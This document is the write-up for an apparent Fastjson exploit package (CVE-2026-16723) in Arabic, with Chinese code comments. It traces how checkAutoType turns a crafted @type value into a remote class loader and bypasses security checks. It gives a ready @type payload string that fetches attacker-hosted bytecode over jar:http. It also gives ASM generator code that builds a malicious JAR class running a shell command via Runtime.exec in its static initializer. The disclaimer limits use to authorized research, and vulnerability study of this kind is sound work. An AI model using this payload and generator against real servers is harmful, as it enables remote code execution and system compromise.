
تحليل تفصيلي لثغرة CVE-2026-16723 وحزمة استغلال لثغرة RCE في Fastjson 1.2.83، مع تغطية مسارات الكود الضعيفة، وتوليد ملفات JAR/بايتكود خبيثة، وبيئة Docker Compose لإعادة إنتاج الهجوم.
إخلاء المسؤولية: هذا المشروع مخصص للاستخدام في أبحاث الأمان والتعلم ضمن البيئات المصرح بها فقط. يُحظر اختبار الأنظمة غير المصرح بها، ويتحمل المستخدم وحده مسؤولية عواقب الاستخدام.
CVSS 9.0، يؤثر على Fastjson 1.2.68 ~ 1.2.83. لا حاجة لتفعيل AutoType، ولا حاجة إلى Gadget طرف ثالث، يمكن استغلاله بالإعدادات الافتراضية.
تقع نقطة الدخول إلى الثغرة في com.alibaba.fastjson.parser.ParserConfig.checkAutoType. وسواء تم استدعاء JSON.parse(body) أو JSON.parseObject(body, Foo.class)، فإنه في النهاية سيصل إلى هذه الدالة.
مسار التعليمات البرمجية الأساسي (fastjson 1.2.83):
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// ① 黑白名单检查——autoTypeSupport=false 时整段跳过
if (autoTypeSupport || expectClassFlag) { ... }
// ② @JSONType 注解探测
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) { }
finally { IOUtils.close(is); }
// ③ 类型加载
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
// ④ jsonType=true 时跳过所有后续检查
if (clazz != null) {
if (jsonType) {
return clazz;
}
// denyList 检查、硬编码拦截、isAssignableFrom ...
}
}
مفتاح AutoType (autoTypeSupport) يتحكم فقط في ① ما إذا كان سيتم الدخول، لكن ② اكتشاف التعليقات التوضيحية يُنفَّذ دون شروط. بمجرد أن يصبح jsonType في ② مساويًا لـ true، فإن ③ تحميل النوع و ④ تخطي فحص الأمان سيتم تفعيلهما تباعًا.
String resource = typeName.replace('.', '/') + ".class";
typeName هو قيمة @type في JSON، ويتحكم فيه المهاجم بالكامل. القصد الأصلي هو تحويل com.example.Foo إلى com/example/Foo.class، لكن عندما يكون الإدخال عنوان URL، يتحول هذا إلى مُنشئ URL.
ولأن النقطة . في hostname تُستبدل أيضًا، يستخدم المهاجم عنوان IP صحيحًا لتجاوز ذلك. العدد الصحيح غير المؤشر 32-بت لـ 127.0.0.1 هو 2130706433:
输入: jar:http:..2130706433:8000.probe!.EvilPayload
↓ replace('.', '/')
输出: jar:http://2130706433:8000/probe!/EvilPayload.class
.. → //، .probe! → /probe!/، للحصول على محدد موارد jar:http:// صالح.
is = defaultClassLoader.getResourceAsStream(resource);
هل يمكن لـ getResourceAsStream تحليل jar:http:// كمورد بعيد، يعتمد كليًا على نوع ClassLoader:
| ClassLoader | السلوك |
|---|---|
JDK AppClassLoader | يبحث فقط في classpath المحلي → null |
Tomcat WebappClassLoader (WAR مستقل) | يبحث فقط في WEB-INF/lib → null |
Spring Boot LaunchedURLClassLoader (fat-JAR) | يدعم jar:http:// → يخرج عبر HTTP لجلب البايت كود |
هناك نقطة يسهل الخلط فيها: عند تضمين Tomcat داخل Spring Boot، يكون ClassLoader الخاص بفئات التطبيق هو LaunchedURLClassLoader وليس WebappClassLoader. لذلك فإن Tomcat/Jetty/Undertow المضمّنة كلها ضمن النطاق المتأثر.
عندما يكون is != null، تكون بايتات الكود الثنائي للفئة البعيدة المستضافة من قبل المهاجم قد دخلت بالفعل إلى ذاكرة JVM.
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
Fastjson يستخدم ASM لفحص البايت كود، ويتحقق مما إذا كان يحتوي على التعليق التوضيحي @com.alibaba.fastjson.annotation.JSONType. القصد من التصميم هو تحسين الأداء — التعرف السريع على الأنواع التي يديرها Fastjson عبر التعليقات التوضيحية. لكن هنا يتم فقط التحقق من وجود التعليق التوضيحي، دون التحقق من مصدر البايت كود، ودون فحص اسم الفئة، ودون تقييد المصدر. يكفي أن يحمل class البعيد الخاص بالمهاجم @JSONType ليحصل على تقييم jsonType=true.
لاحظ أن catch (Exception e) {} فارغ — لن يتلقى المهاجم أي رسالة خطأ.

if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
jsonType=true يستوفي الشرط. يمر loadClass عبر عملية تحميل الفئات القياسية، ويسجّل رمز البايت عبر defineClass ككائن Class في JVM.
يجب التمييز بين مفهومين: يُنجز defineClass تعريف الفئة (التسجيل في JVM)، بينما يُنفَّذ <clinit> في مرحلة تهيئة الفئة. قد تكتمل المرحلتان ضمن الطلب نفسه، لكنهما مستقلتان وفق مواصفات JVM.
if (jsonType) {
return clazz;
}
هذا السطر يتجاوز جميع آليات الدفاع اللاحقة:
ClassLoader/DataSource/RowSetdenyListexpectClass.isAssignableFrom(clazz)وهذا يفسّر أيضًا سبب عجز parseObject(body, Dto.class) عن الصدّ: فحص ربط النوع يحدث بعد تحميل الفئة، بينما تكون شيفرة الهجوم قد نُفّذت بالفعل في مرحلة التحميل.
يحتاج المهاجم إلى توليد ملف bytecode يستوفي ثلاثة شروط: أن يحمل تعليق @JSONType، وأن يُضمّن شيفرة الهجوم داخل <clinit>، وأن يُستضاف عبر HTTP.
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_6, Opcodes.ACC_PUBLIC,
"EvilPayload", null, "java/lang/Object", null);
// 过 ASM 探针
cw.visitAnnotation(
"Lcom/alibaba/fastjson/annotation/JSONType;", true
).visitEnd();
// <clinit> 里跑命令
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC,
"<clinit>", "()V", null, null);
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
"java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitLdcInsn(cmd);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Runtime", "exec",
"(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.RETURN);
// 打包
JarOutputStream jos = new JarOutputStream(new FileOutputStream(outPath));
jos.putNextEntry(new JarEntry("EvilPayload.class"));
jos.write(cw.toByteArray());
يتم تفعيل المنطق الخبيث عبر <clinit>، ويُنفَّذ بمجرد تحميل الفئة.
جوهر هذه السلسلة هو تحويل استكشاف التعليقات التوضيحية في Fastjson إلى محمّل فئات عن بُعد. يتحكم المهاجم في قيمة @type، ويُنشئ عنوان URL عبر تحويل النصوص، ويستخدم getResourceAsStream لبدء SSRF لجلب الشيفرة الثنائية، ويجتاز فحص مسبار ASM عبر التعليق التوضيحي @JSONType، ويُكمل تعريف الفئة عبر loadClass، وأخيرًا يتجاوز جميع فحوصات الأمان بواسطة return clazz.